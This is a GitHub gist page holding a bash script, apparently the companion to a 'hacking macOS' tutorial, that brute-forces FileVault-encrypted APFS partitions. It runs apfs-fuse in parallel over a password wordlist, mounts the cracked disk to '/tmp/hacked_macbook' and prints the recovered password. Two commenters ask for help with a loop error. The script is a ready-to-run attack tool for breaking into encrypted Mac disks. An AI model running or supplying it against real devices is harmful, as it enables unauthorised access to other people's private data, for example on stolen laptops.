Skip to content

Instantly share code, notes, and snippets.

@tokyoneon
Created April 20, 2019 07:25
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save tokyoneon/90eca8da5c9de2587544c2214d80ebde to your computer and use it in GitHub Desktop.
Save tokyoneon/90eca8da5c9de2587544c2214d80ebde to your computer and use it in GitHub Desktop.
Brute Force FileVault Protected Partitions
#!/bin/bash
# https://null-byte.wonderhowto.com/how-to/hacking-macos-break-into-macbook-encrypted-with-filevault-0185177/
# checks to ensure all 3 args are present
if [[ ! $3 ]]; then
echo -e "\nusage: $ ./script.sh /dev/sdaX passwords.list -killswitch\n"
exit 0
fi
# wordlist variable
password="${2:--}"
# wordlist line count, for fancy output
line_total="$(wc -l ${2:--} | awk '{print $1}')"
# because processes get moved to the background, i needed a simple way
# to grep the parent PID to kill all apfs-fuse processes. this can be
# done more elegantly, but would require more work
killswitch="$(ps aux | grep -i [k]illswitch | head -n1 | awk '{print $2}')"
# user input; mount partition name e.g., /dev/sdaX
mount_partition="$1"
# if password is guessed, mount partion to this directory
mount_dir='/tmp/hacked_macbook'
# create "hacked_macbook" directory if it doesn't exist
if [[ ! -d "$mount_dir" ]]; then
mkdir "$mount_dir"
fi
# max concurrent apfs-fuse processes. set at 55. WARNING! i definitely
# crashed my macbook a few times playing with this value. after about
# 50 concurrent PIDs, i didnt notice an improvement in processing
# speed. benchmarked using `time`
function thread_max {
while [ $(jobs | wc -l) -gt 55 ]; do
sleep 3
done
}
count='0'
# a while loop to interate through supplied passwords
while read password; do
# count the number of passwords; fancy output
count="$[count+1]"
# emulate some kind of progress information; fancy output
echo "[-] Trying "$count"/"$line_total": "$password""
# apfs-fuse binary path is hardcoded. if apfs-fuse directory is not
# located in /root change the below line. this line will silently
# execute apfs-fuse with a password from the wordlist. if the password
# is found it will `kill` the parent process and stop the bruteforce attack
thread_max; /root/apfs-fuse/build/bin/apfs-fuse -r "$password" "$mount_partition" "$mount_dir" >/dev/null 2>&1 &&\
echo -e "\n[+] Password is: "$password"\n" && kill "$killswitch" || continue &
done < "$password"
@6betari
Copy link

6betari commented Feb 6, 2021

Hello, i have message:
line 46: continue: only meaningful in a for', while', or `until' loop
How to fix it?

@N7Ravenwood
Copy link

Good Sir can you take some time out of your busy day to help a pleb in need,this is the error I get
./tokyoneon.sh: line 56: continue: only meaningful in a for', while', or `until' loop

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment